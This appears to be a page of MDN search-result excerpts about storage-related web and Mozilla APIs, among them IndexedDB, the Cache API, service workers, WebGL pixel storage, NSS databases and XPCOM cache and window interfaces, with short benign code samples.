...ts for validation. doomentry() asynchronously dooms an entry specified by the key. void doomentry( in acstring key, in nsicachelistener listener ); parameters key the key for cache entry. listener the cache listener to be notified (may be null). evictentries() this method evicts all entries for this session's clientid according to its storagepolicy. void evictentries(); parameters none. isstorageenabled() this method checks if the cache devices implied by the session storage policy are currently enabled for instantiation if they don't already exist. prbool isstorageenabled(); parameters none. return value returns whether any of the cache devices implied by the session storage policy are currently enabled for instantiation or not, depending on their existence. opencacheentry() this method...
nsIDOMWindow
base/nspidomwindow.h for those. while this interface is not officially defined by any standard bodies, it originates from the de-facto dom level 0 standard. starting in firefox 3, dom windows are actually based on nsidomwindow2, which is a subclass of nsidomwindow that adds some new features to this interface. in gecko 7.0 nsidomwindow2 has been merged into this interface. in gecko 8.0 nsidomstoragewindow and nsidomwindowinternal have been merged into this interface. method overview nsidomcssstyledeclaration getcomputedstyle(in nsidomelement elt, [optional] in domstring pseudoelt); nsiselection getselection(); void scrollby(in long xscrolldif, in long yscrolldif); void scrollbylines(in long numlines); void scrollbypages(in long numpages); ...
...n applicationcache nsidomofflineresourcelist get the application cache object for this window. read only. note: prior to gecko 7.0 this attribute was part of nsidomwindow2. document nsidomdocument the document contained in the window. read only. frames nsidomwindowcollection the child windows for this window. read only. native code only! globalstorage nsidomstoragelist global storage, accessible by domain. read only. note: prior to gecko 8.0 this attribute was part of nsidomstoragewindow. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. note: prior to gecko 8.0...
... name domstring get or set the name of this window. this attribute is "replaceable" in javascript. parent nsidomwindow the window's parent window. if there is no parent window, or if the parent is of a different type, this is the current window. ...
..., in pixels. this attribute is "replaceable" in javascript. read only. scrolly long the current vertical (y) scroll position, in pixels. this attribute is "replaceable" in javascript. read only. scrollbars nsidombarprop the object that controls whether or not scrollbars are shown in the window. this attribute is "replaceable" in javascript. read only. sessionstorage nsidomstorage session storage for the current browsing context. data stored in session storage may be accessed by any site in the browsing context. read only.note: prior to gecko 8.0 this attribute was part of nsidomstoragewindow. textzoom float get or set the document scale factor as a multiplier of the default size. when setting this attribute, an ns_error_not_implemented e...
nsIMsgCloudFileProvider
the filelink preferences dialog, used for displaying and setting provider-specific settings once the account has already been set up. this url should not point to external web content. fileuploadsizelimit long readonly: the upper size limit in bytes for a file to be uploaded. if this value is not known, returns -1. remainingfilespace long long readonly: the remaining storage space available for this account in bytes. if this value is not known, returns -1. filespaceused long long readonly: the total amount of space used by this account. if this value is not known, returns -1. lasterror acstring readonly: the last error message received from the server. constants the following constants are used for the status codes passed to the ...
...ription offlineerr 0x80550014 returned when it appears that there is no active network connection. autherr 0x8055001e returned when authorizing has failed. uploaderr 0x8055311a returned when uploading has failed for an unknown reason. uploadwouldexceedquota 0x8055311b returned when uploading has failed because the user has exceeded their storage quota. uploadexceedsfilelimit 0x8055311c returned when uploading has failed because the file being uploaded is larger than the file size limit. uploadcanceled 0x8055311d returned when uploading has stopped because it was cancelled by the user. methods init() initializes an nsimsgcloudfileprovider to be associated with a particular account. this should proba...
...ile. if the file was not uploaded with this instance of the nsimsgcloudfileprovider, returns undefined. cancelfileupload() cancels an upload currently in progress for some nsilocalfile. void cancelfileupload(in nsilocalfile afile); parameters afile the nsilocalfile that is currently being uploaded to cancel. refreshuserinfo() refreshes the data for this user account - for example, the storage quota, or the amount of storage being used. void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); parameters awithui whether or not the provider should prompt the user for credentails in the event that the stored credentials have gone stale. if awithui is false, and the credentials are stale, the onstoprequest of the acallback nsirequestlistener w...
...d using this instance. void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was previously uploaded using this nsimsgcloudfileprovider instance that should be deleted. acallback the nsirequestobserver for monitoring the start and stop states of the delete operation. createnewaccount() creates a new user account for the storage provider represented by the nsimsgcloudfileprovider. note: this function is not directly called by the filelink ui. this might change in the future, but as it stands, this function can simply return ns_error_not_implemented unless there are plans to call createnewaccount from the management or settings xhtml files. void createnewaccount(in acstring aemailaddress, in acstring apassword, ...
Use SQLite
be careful of multi-thread access to your database. this will create an sqlite db named tbird.sqlite inside your profile directory with a table called attachments. you can see the schema for the attachments table in the code. to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite programs. ...
...tachments:"id integer primary key, \ name text \ encoded text not null" } }, dbinit: function() { var dirservice = cc["@mozilla.org/file/directory_service;1"]. ...
...\ name text \ encoded text not null" } }, dbinit: function() { var dirservice = cc["@mozilla.org/file/directory_service;1"]. getservice(ci.nsiproperties); var dbfile = dirservice.get("profd", ci.nsifile); dbfile.append("tbird.sqlite"); var dbservice = cc["@mozilla.org/storage/service;1"]. ...
...n); return dbconnection; }, _dbcreatetables: function(adbconnection) { for(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'; document.queryselecto...
IndexedDB - Firefox Developer Tools
when you select an origin inside the indexed db storage type in the storage tree of the storage inspector, a table lists the details of all the databases present for that origin. note: the data shown in an indexeddb database is a snapshot of the data as it was when you opened the storage inspector tool. databases have the following details: database name — the name of the database. storage — the storage type specified for the database. origin — the origin of the database. version — the database version. object stores — the number of object stores in the database. when an indexeddb database is selected in the storage tree, details about all the object stores are listed in the table. any object store has the following details: object store name — the name of the object ...
..., details about all the object stores are listed in the table. any object store has the following details: object store name — the name of the object store. key — the keypath property of the object store. auto increment — is automatic incrementation of the keys enabled? indexes — array of indexes present in the object store as shown below. ...
...e object store. auto increment — is automatic incrementation of the keys enabled? ...
... object store is selected in the storage tree, all the items in that object store are listed in the table. all items have a key and a value associated with them. ...
Cache - Web APIs
Web › API › Cache
the cache interface provides a storage mechanism for request / response object pairs that are cached, for example as part of the serviceworker life cycle. note that the cache interface is exposed to windowed scopes as well as workers. you don't have to use it in conjunction with service workers, even though it is defined in the service worker spec. an origin can have multiple, named cache objects. you are responsible for implementing how your script (e.g. in a serviceworker) handles cache updates. items in a cache do not get updated unless explicitly requested; they don’t expire unless deleted. use cachestorage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each browse...
...script (e.g. in a serviceworker) handles cache updates. items in a cache do not get updated unless explicitly requested; they don’t expire unless deleted. use cachestorage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each browser has a hard limit on the amount of cache storage that a given origin can use. cache quota usage estimates are available via the storageestimate api. the browser does its best to manage disk space, but it may delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. make sure to version caches by name and use the caches only from the version of the script that they ...
...try whose key is the request, returning a promise that resolves to true if a matching cache entry is found and deleted. if no cache entry is found, the promise resolves to false. cache.keys(request, options) returns a promise that resolves to an array of cache keys. examples this code snippet is from the service worker selective caching sample. (see selective caching live) the code uses cachestorage.open() to open any cache objects with a content-type header that starts with font/. the code then uses cache.match() to see if there's already a matching font in the cache, and if so, returns it. if there isn't a matching font, the code fetches the font from the network and uses cache.put() to cache the fetched resource. the code handles exceptions thrown from the fetch() operation. note that a...
...ractice for versioning caches used by the service worker. though there's only one cache in this example, the same approach can be used for multiple caches. it maps a shorthand identifier for a cache to a specific, versioned cache name. the code also deletes all caches that aren't named in current_caches. in the code example, caches is a property of the serviceworkerglobalscope. it holds the cachestorage object, by which it can access the cachestorage interface. this is an implementation of the windoworworkerglobalscope mixin. note: in chrome, visit chrome://inspect/#service-workers and click on the "inspect" link below the registered service worker to view logging statements for the various actions the service-worker.js script is performing. var cache_version = 1; var current_caches = { font...
IDBFactory.open() - Web APIs
Web › API › IDBFactory › open
name the name of the database. version optional optional. the version to open the database with. if the version is not provided and the database exists, then a connection to the database will be opened without changing its version. if the version is not provided and the database does not exist, then it will be created with version 1. ...
...base will be opened without changing its version. if the version is not provided and the database does not exist, then it will be created with version 1. experimental gecko options object options (version and storage) optional in gecko, since version 26, you can include a non-standard options object as a parameter of idbfactory.open that contains the version number of the database, plus a storage value that specifies whether you want to use persistent or temporary storage. warning: the storage attribute is deprecated and will soon be removed from gecko. ...
... return value a idbopendbrequest object on which subsequent events related to this request are fired. ...
...onal in gecko, since version 26, you can include a non-standard options object as a parameter of idbfactory.open that contains the version number of the database, plus a storage value that specifies whether you want to use persistent or temporary storage. warning: the storage attribute is deprecated and will soon be removed from gecko. you should use storagemanager.persist() to get persistent storage instead. note: you can find out more information on the different available storage types, and how firefox handles client-side data storage, at browser storage limits and eviction criteria. return value a idbopendbrequest object on which subsequent events related to this request are fired. exceptions this method may raise a domexception of the following types: exception des...
Using IndexedDB - Web APIs
vents (at least, not once you're used to the api!). in the case of opening a database, however, there are some common conditions that generate error events. the most likely problem is that the user decided not to give your web app permission to create a database. one of the main design goals of indexeddb is to allow large amounts of data to be stored for offline use. ...
...e api!). in the case of opening a database, however, there are some common conditions that generate error events. the most likely problem is that the user decided not to give your web app permission to create a database. one of the main design goals of indexeddb is to allow large amounts of data to be stored for offline use. ...
... design goals of indexeddb is to allow large amounts of data to be stored for offline use. (to learn more about how much storage you can have for each browser, see storage limits.) obviously, browsers do not want to allow some advertising network or malicious website to pollute your computer, so browsers used to prompt the user the first time any given web app attempts to open an indexeddb for storage. the user could choose to allow or deny access. also, indexeddb storage in browsers' privacy modes only lasts in-memory until the incognito session is closed (private browsing mode for firefox and incognito mode for chrome, but in firefox this is not implemented yet as of april 2020 so you can't use indexeddb in firefox private browsing at all). now, assuming that the user allowed your request t...
...nd-color: #eeeeee; border-radius: 0.2em; } .note { font-size: smaller; } .destructive { background-color: orange; } .destructive:hover { background-color: #ff8000; } .destructive:active { background-color: red; } javascript content (function () { var compat_envs = [ ['firefox', ">= 16.0"], ['google chrome', ">= 24.0 (you may need to get google chrome canary), no blob storage support"] ]; var compat = $('#compat'); compat.empty(); compat.append('<ul id="compat-list"></ul>'); compat_envs.foreach(function(val, idx, array) { $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>'); }); const db_name = 'mdn-demo-indexeddb-epublications'; const db_version = 1; // use a long long for this value (don't use a float) const db_store_name = 'pub...
IndexedDB API - Web APIs
indexeddb provides a solution. this is the main landing page for mdn's indexeddb coverage — here we provide links to the full api reference and usage guides, browser support details, and some explanation of key concepts. note: this feature is available in web workers. note: indexeddb api is powerful, but may seem too complicated for simple cases. ...
...r database, and then retrieve and update data within a series of transactions. read more about the concepts behind indexeddb. learn to use indexeddb asynchronously from first principles with our using indexeddb guide. combine indexeddb for storing data offline with service workers for storing assets offline, as outlined in making pwas work offline with service workers. note: like most web storage solutions, indexeddb follows a same-origin policy. so while you can access stored data within a domain, you cannot access data across different domains. synchronous and asynchronous operations performed using indexeddb are done asynchronously, so as not to block applications. indexeddb originally included both synchronous and asynchronous apis. the synchronous api was intended for use only wit...
...perations performed using indexeddb are done asynchronously, so as not to block applications. indexeddb originally included both synchronous and asynchronous apis. the synchronous api was intended for use only with web workers but was removed from the spec because it was unclear whether it was needed. however, the synchronous api may be reintroduced if there is enough demand from web developers. ...
...er it was needed. however, the synchronous api may be reintroduced if there is enough demand from web developers. storage limits and eviction criteria there are a number of web technologies that store data of one kind or another on the client side (i.e. on your local disk). indexeddb is most commonly talked about. the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. browser storage limits and eviction criteria attempts to explain how this works, at least in the case of firefox. interfaces to get access to a database, call open() on the indexeddb attribute of a window object. this method returns an idbrequest object; asynchronous operations communicate to the calling ...
LocalFileSystemSync - Web APIs
ore or less abandonned, failing to get significant traction. basic concepts you can request access to a sandboxed file system by requesting localfilesystemsync object from within a web worker. the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsyncurl() methods are exposed to the worker's global scope. ...
...ods are exposed to the worker's global scope. calling window.requestfilesystemsync() for creates new storage for your web app. for more concepts, see the counterpart article for the asynchronous api. example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors. var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); because you are using a synchronous api, you don't need success and error callbacks. method overview filesystemsync requestfilesyste...
...are using a synchronous api, you don't need success and error callbacks. method overview filesystemsync requestfilesystemsync (in unsigned short type, in long long size) raises fileexception; entrysync resolvelocalfilesystemsyncurl (in domstring url) raises fileexception; constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion. persistent 1 storage that stays in the browser unless the user or the app expunges it. methods requestfilesystemsync() requests a file system where data should be stored. you access a sandboxed file system by requesting a localfilesystemsync object from within a web worker using this global method, window.request...
...punges it. methods requestfilesystemsync() requests a file system where data should be stored. you access a sandboxed file system by requesting a localfilesystemsync object from within a web worker using this global method, window.requestfilesystemsync(). [ research ] filesystemsync requestfilesystemsync( in unsigned short type, in unsigned long long size ); parameters type the storage type of the file system. the values can be either temporary or persistent. size the storage space—in bytes—that you need for your app. returns filesystemsync an object that represents the file system. exceptions this method can raise an fileexception with the following code: exception description security_error the application does not have permission to ac...
Navigator - Web APIs
Web › API › Navigator
ator interface represents the state and the identity of the user agent. it allows scripts to query it and to register themselves to carry on some activities. a navigator object can be retrieved using the read-only window.navigator property. properties doesn't inherit any properties, but implements those defined in navigatorid, navigatorlanguage, navigatoronline, navigatorcontentutils, navigatorstorage, navigatorstorageutils, navigatorconcurrenthardware, navigatorplugins, and navigatorusermedia. standard navigatorid.appcodename read only returns the internal "code" name of the current browser. do not rely on this property to return the correct value. navigatorid.appname read only returns a domstring with the official name of the browser. do not rely on this property to return the cor...
...y listing the plugins installed in the browser. navigatorid.product read only always returns 'gecko', on any browser. this property is kept only for compatibility purpose. navigator.serviceworker read only returns a serviceworkercontainer object, which provides access to registration, removal, upgrade, and communication with the serviceworker objects for the associated document. navigatorstorage.storage read only returns the singleton storagemanager object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis. navigatorid.useragent read only returns the user agent string for the current browser. navigator.xr read only returns xr object, which represents the entry point into the webxr api. non-standard navigator.buildi...
... current operating system. navigator.productsub returns the build number of the current browser (e.g., "20060909"). navigator.securitypolicy returns an empty string. in netscape 4.7x, returns "us & ca domestic policy" or "export policy". navigator.standalone returns a boolean indicating whether the browser is running in standalone mode. available on apple's ios safari only. navigator.storagequota read only returns a storagequota interface which provides means to query and request storage usage and quota information. navigator.vendor returns the vendor name of the current browser (e.g., "netscape6"). navigator.vendorsub returns the vendor version number (e.g. "6.1"). navigator.webkitpointer returns a pointerlock object for the mouse lock api. methods doesn't inherit...
...uota information. navigator.vendor returns the vendor name of the current browser (e.g., "netscape6"). navigator.vendorsub returns the vendor version number (e.g. "6.1"). navigator.webkitpointer returns a pointerlock object for the mouse lock api. methods doesn't inherit any method, but implements those defined in navigatorid, navigatorcontentutils, navigatorusermedia, and navigatorstorageutils. standard navigator.canshare() returns true if a call to navigator.share() would succeed. navigator.getusermedia() after having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer. navigator.registercontenthandler() obsolete since gecko 59 allows web sites to register themselves as a possible handler for ...
Using Service Workers - Web APIs
che after your service worker is registered, the browser will attempt to install then activate the service worker for your page/site. the install event is fired when an install is successfully completed. the install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. to do this, we use service worker’s brand new storage api — cache — a global object on the service worker that allows us to store assets delivered by responses, and keyed by their requests. this api works in a similar way to the browser’s standard cache, but it is specific to your domain. it persists until you tell it not to — again, you have full control. note: the cache api is not supported in every browser. (see the browser compatibilit...
...n’t do anything. this is ok, as you can fix your code and then try again the next time registration occurs. after a successful installation, the service worker activates. this doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the updating your service worker section later on.) note: localstorage works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers. note: indexeddb can be used inside a service worker for data storage if you require it. custom responses to requests now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. this is easily done with the fetch event. a fetch e...
... and becomes responsible for fetches. deleting old caches you also get an activate event. this is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. this is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. the browser does its best to manage disk space, but it may delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. promises passed into waituntil() will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time yo...
...in the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing. firefox has also started to implement some useful tools related to service workers: you can navigate to about:debugging to see what...
WebGLRenderingContext.pixelStorei() - Web APIs
the webglrenderingcontext.pixelstorei() method of the webgl api specifies the pixel storage modes. syntax void gl.pixelstorei(pname, param); parameters pname a glenum specifying which parameter to set. see below for possible values. param a glint specifying a value to set the pname parameter to. see below for possible values. return value none. pixel storage parameters parameter name (for pname) description type default value allowed values (for param) specified in gl.pack_alignment packing of pixel data into memory glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_alignment unpacking of pixel data from memory. glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_flip_y_webgl flips the source data along its ver...
...lint 0 0 to infinity opengl es 3.0 gl.unpack_skip_rows number of rows of pixel locations skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_images number of pixel images skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 examples setting the pixel storage mode affects the webglrenderingcontext.readpixels() operations, as well as unpacking of textures with the webglrenderingcontext.teximage2d() and webglrenderingcontext.texsubimage2d() methods. var tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); gl.pixelstorei(gl.pack_alignment, 4); to check the values for packing and unpacking of pixel data, you can query the same pixel storage...
... opengl es 2.0the definition of 'glpixelstorei' in that specification. standard man page of the opengl es 2.0 api. webgl 2.0the definition of 'pixelstorei' in that specification. ...
...etparameter(). gl.getparameter(gl.pack_alignment); gl.getparameter(gl.unpack_alignment); specifications specification status comment webgl 1.0the definition of 'pixelstorei' in that specification. recommendation initial definition for webgl. webgl 1.0the definition of 'pixel storage parameters' in that specification. recommendation additional pixel storage parameters that aren't specified in opengl. opengl es 2.0the definition of 'glpixelstorei' in that specification. standard man page of the opengl es 2.0 api. webgl 2.0the definition of 'pixelstorei' in that specification. editor's draft updated definition for webgl 2. opengl es 3.0the definition of 'glpixelstorei' in that specification. standard man pa...
WebGL best practices - Web APIs
tive opengl). in production code, avoid such entry points, especially on the browser main thread where they can cause the entire page to jank (often including scrolling or even the whole browser). geterror(): causes a flush + round-trip to fetch errors from the gpu process). for example, within firefox, the only time glgeterror is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors. getshader/programparameter(), getshader/programinfolog(), other gets on shaders/programs: flush + shader compile + round-trip, if not done after shader compilation is complete. (see also parallel shader compilation below.) get*parameter() in general: possible flush + round-trip. in some cases, these will be cached to avoid the round-trip, but ...
...(the spec calls this "color-renderable formats") for example, if a system supports float-textures but not render-to-float, generatemipmaps will fail for float formats. support for float textures doesn't mean you can render into them! there are many, many sy...
...r(webgl_texture._internal_framebuffer) +bindtexture(htmlvideoelement._internal_video_tex) +drawarrays() // y-flip/colorspace-transform/alpha-(un)premultiply +bindtexture(webgl_texture) +bindframebuffer(target) useprogram(prog1) <pipeline flush> bindframebuffer(target) drawarrays() bindtexture(webgl_texture) drawarrays() ... webgl 2 use texstorage to create textures the teximage* api lets you define each mip level independently and at any size, even the mis-matching mips sizes are not an error until draw time which means there is no way the driver can actually prepare the texture in gpu memory until the first time the texture is drawn. further, some drivers might unconditionally allocate the whole mip-chain (+30% memory!) even if you onl...
... lets you define each mip level independently and at any size, even the mis-matching mips sizes are not an error until draw time which means there is no way the driver can actually prepare the texture in gpu memory until the first time the texture is drawn. further, some drivers might unconditionally allocate the whole mip-chain (+30% memory!) even if you only want a single level. so, prefer texstorage+texsubimage for textures in webgl 2 invalidateframebuffer storing data that you won't use again can have high cost, particularly on tiled-rendering gpus common on mobile. when you're done with the contents of a framebuffer attachment, use invalidateframebuffer to discard the data, instead of leaving the driver to waste time storing the data for later use. depth/stencil and/or multisampled attac...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
calling todataurl() on the canvas attempting any of these when the canvas is tainted will cause a securityerror to be thrown. this protects users from having private data exposed by using images to pull information from remote web sites without permission. storing an image from a foreign origin in this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage. implementing this requires configuring the server as well as writing code for the web site itself. web server configuration the first thing we need is a server that's configured to host images with the access-control-allow-origin header configured to permit cross-origin access to image files. let's assume we're serving our site using apache. consider the html5 boilerplate apache server config...
...es the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere on the internet. implementing the save feature now that the server has been configured to allow retrieval of the images cross-origin, we can write the code that allows the user to save them to local local storage, just as if they were being served from the same domain the code is running on. the key is to use the crossorigin attribute by setting crossorigin on the htmlimageelement into which the image will be loaded. this tells the browser to request cross-origin access when trying to download the image data. starting the download the code that starts the download (say, when the user clicks a "download...
...this event is triggered once the downloaded data is all available. it begins by creating a new <canvas> element that we'll use to convert the image into a data url...
...image into a data url, and by getting access to the canvas's 2d drawing context (canvasrenderingcontext2d) in the variable context. the canvas's size is adjusted to match the received image, then the image is drawn into the canvas using drawimage(). the canvas is then inserted into the document so the image is visible. now it's time to actually save the image locally. to do this, we use the web storage api's local storage mechanism, which is accessed through the localstorage global. the canvas method todataurl() is used to convert the image into a data:// url representing a png image, which is then saved into local storage using setitem(). you can try out or remix this example on glitch. ...
Enhanced Extension Installation - Archive of obsolete content
by the install operation finalization routine (|_finishoperations|) to get a list of items that are to be operated on. since all metadata is now stored in the profile directory, there is no longer any need for special extension system handling of the -register command line flag, so support for that has been removed. datasource structure since there is now only a single rdf/xml datasource for storage of all installed items, the staggered datasource structure used by firefox 1.0 and the use of an internal composite datasource is no longer required. the extension system retains an object implementing nsirdfdatasource (so that it can supply special properties in addition to the set stored simply in the xml datasource) and an internal member that holds the single rdf/xml datasource. properties ar...
... and configured for installation for the first time. item-upgraded a new version of an installed item has been downloaded and configured for installation. item-uninstalled an item has been configured for uninstallation. item-enabled an item has been configured for enabling. item-disabled an item has been configured for disabling. ...
...making the database file format human readable would also help developers debug their installation problems. footnotes the term "extension" is used in this document to imply any item managed by the extension manager, including themes. ...
Index - Learn web development
r with the technique of your craft, but what really matters is what you want to accomplish. yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision. 17 how do i use github pages? beginner, github, guide, web, gh-pages, git, publish github is a "social coding" site. it allows you to upload code repositories for storage in the git version control system. you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn from it, and improve on it. you can do that with other people's code too! this article provides a basic guide to publishing content using github's gh-pages feature. 18 how do you host your websi...
...ncounter application programming interfaces (apis). apis are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or services. in this module, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. 57 client-side storage api, article, beginner, codingscripting, guide, indexeddb, javascript, learn, storage that's it for now. we hope you've found our rundown of client-side storage technologies useful. 58 drawing graphics api, article, beginner, canvas, codingscripting, graphics, javascript, learn, webgl at this point, you should have a useful idea of the basics of graphics programming...
...s beginner, javascript, learn now we'll round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips. 301 working with svelte stores beginner, frameworks, javascript, learn, stores, svelte, client-side in this article we added two new features: an alert component and persisting todos to web storage. 302 understanding client-side web development tools beginner, css, deployment, html, javascript, learn, tools, transformation, client-side, linting client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package ma...
Introduction to web APIs - Learn web development
ding effects to audio tracks (such as gain, distortion, panning, etc). device apis are basically apis for manipulating and retrieving data from modern device hardware in a way that is useful for web apps. examples include telling the user that a useful update is available on a web app via system notifications (see the notifications api) or vibration hardware (see the vibration api). ...
... the notifications api) or vibration hardware (see the vibration api). client-side storage apis are becoming a lot more widespread in web browsers — the ability to store data on the client-side is very useful if you want to create an app that will save its state between page loads, and perhaps even work when the device is offline. there are a number of options available, e.g. simple name/value storage with the web storage api, and more complex tabular data storage with the indexeddb api. common third-party apis third-party apis come in a large variety; some of the more popular ones that you are likely to make use of sooner or later are: the twitter api, which allows you to do things like displaying your latest tweets on your website. map apis like mapquest and the google maps api allows...
...de. ...
Services.jsm
service accessor service interface service name androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information service appshell nsiappshellservice application shell service blocklist nsiblocklistservice blocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm ...
...sole nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlinkhandler nsidroppedlinkhandler dropped link handler service els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld service ...
...service preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager search nsibrowsersearchservice browser search service startup nsiappstartup application startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsipropertybag2 system info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup service urlformatter nsiurlformatter url formatter s...
An overview of NSS Internals
ccording to the mozilla ca policy. on a technical level the set is a binary software module. a cryptographic transaction, such as encryption or decryption related to a data exchange, usually involves working with the x.509 certs of your communication partners (peer). it's also required that you safely keep your own secret keys that belong to your own certificates. you might want to protect the storage of your secret keys with pbe. you might decide to modify the default trust provided by nss. all of this requires storing, looking up, and retrieving data. nss simplifies performing these operations by offering storage and management apis. nss doesn't require the programmer to manage individual files containing individual certificates or keys. instead, nss offers to use its own database(s). once y...
...ilesystem as a parameter to the init function, and nss is designed to do the rest. it will detect and open an existing database, or it can create a new one. alternatively, should you decide that you don't want to work with any persistent recording of certificates, you may initialize nss in a no-database mode. usually, nss will flush all data to disk as soon as new data has been added to permanent storage. storage consists of multiple files: a key database file, which contains your secret keys, and a certificate database file which contains the public portion of your own certificates, the certificates of peers or cas, and a list of trust decisions (such as to not trust a built-in ca, or to explicitly trust other cas). examples for the database files are key3.db and cert8.db, where the numbers are ...
...brary for general operations (e.g., encoding/decoding between data formats, a list of standardized object identifiers (oid)). nss has an ssl/tls module that implements the secure sockets layer/transport layer security network protocols, an s/mime module that implements cms messaging used by secure email and some instant messaging implementations, a dbm library that implements the classic database storage, and finally a core nss library for the big set of “everything else”. newer generations of the database use the sqlite database to allow concurrent access by multiple applications. all of the above are provided as shared libraries. the crmf library, which is used to produce certain kinds of certificate requests, is available as a library for static linking only. when dealing with certif...
Index
ccording to the mozilla ca policy. on a technical level the set is a binary software module. a cryptographic transaction, such as encryption or decryption related to a data exchange, usually involves working with the x.509 certs of your communication partners (peer). it's also required that you safely keep your own secret keys that belong to your own certificates. you might want to protect the storage of your secret keys with pbe. you might decide to modify the default trust provided by nss. all of this requires storing, looking up, and retrieving data. nss simplifies performing these operations by offering storage and management apis. nss doesn't require the programmer to manage individual files containing individual certificates or keys. instead, nss offers to use its own database(s). once y...
...ilesystem as a parameter to the init function, and nss is designed to do the rest. it will detect and open an existing database, or it can create a new one. alternatively, should you decide that you don't want to work with any persistent recording of certificates, you may initialize nss in a no-database mode. usually, nss will flush all data to disk as soon as new data has been added to permanent storage. storage consists of multiple files: a key database file, which contains your secret keys, and a certificate database file which contains the public portion of your own certificates, the certificates of peers or cas, and a list of trust decisions (such as to not trust a built-in ca, or to explicitly trust other cas). examples for the database files are key3.db and cert8.db, where the numbers are ...
...brary for general operations (e.g., encoding/decoding between data formats, a list of standardized object identifiers (oid)). nss has an ssl/tls module that implements the secure sockets layer/transport layer security network protocols, an s/mime module that implements cms messaging used by secure email and some instant messaging implementations, a dbm library that implements the classic database storage, and finally a core nss library for the big set of “everything else”. newer generations of the database use the sqlite database to allow concurrent access by multiple applications. all of the above are provided as shared libraries. the crmf library, which is used to produce certain kinds of certificate requests, is available as a library for static linking only. when dealing with certif...
Index
recommended to make use of this for every runtime in a process after the first one. 413 js_newscriptobject jsapi reference, obsolete, spidermonkey js_newscriptobject returns the script object associated with the given jsscript. 414 js_newstringcopyn jsapi reference, spidermonkey js_newstringcopyn allocates space for a javascript string and its underlying storage, and copies n characters from a c character array, s, into the new jsstring. js_newucstringcopyn is the unicode version of the function. the two functions differ only in the type of the character array s; both functions create ordinary javascript strings, and all javascript strings are made up of 16-bit characters. 415 js_newstringcopyz jsapi reference, spidermonkey js_newstr...
...ring. js_newucstringcopyn is the unicode version of the function. the two functions differ only in the type of the character array s; both functions create ordinary javascript strings, and all javascript strings are made up of 16-bit characters. ...
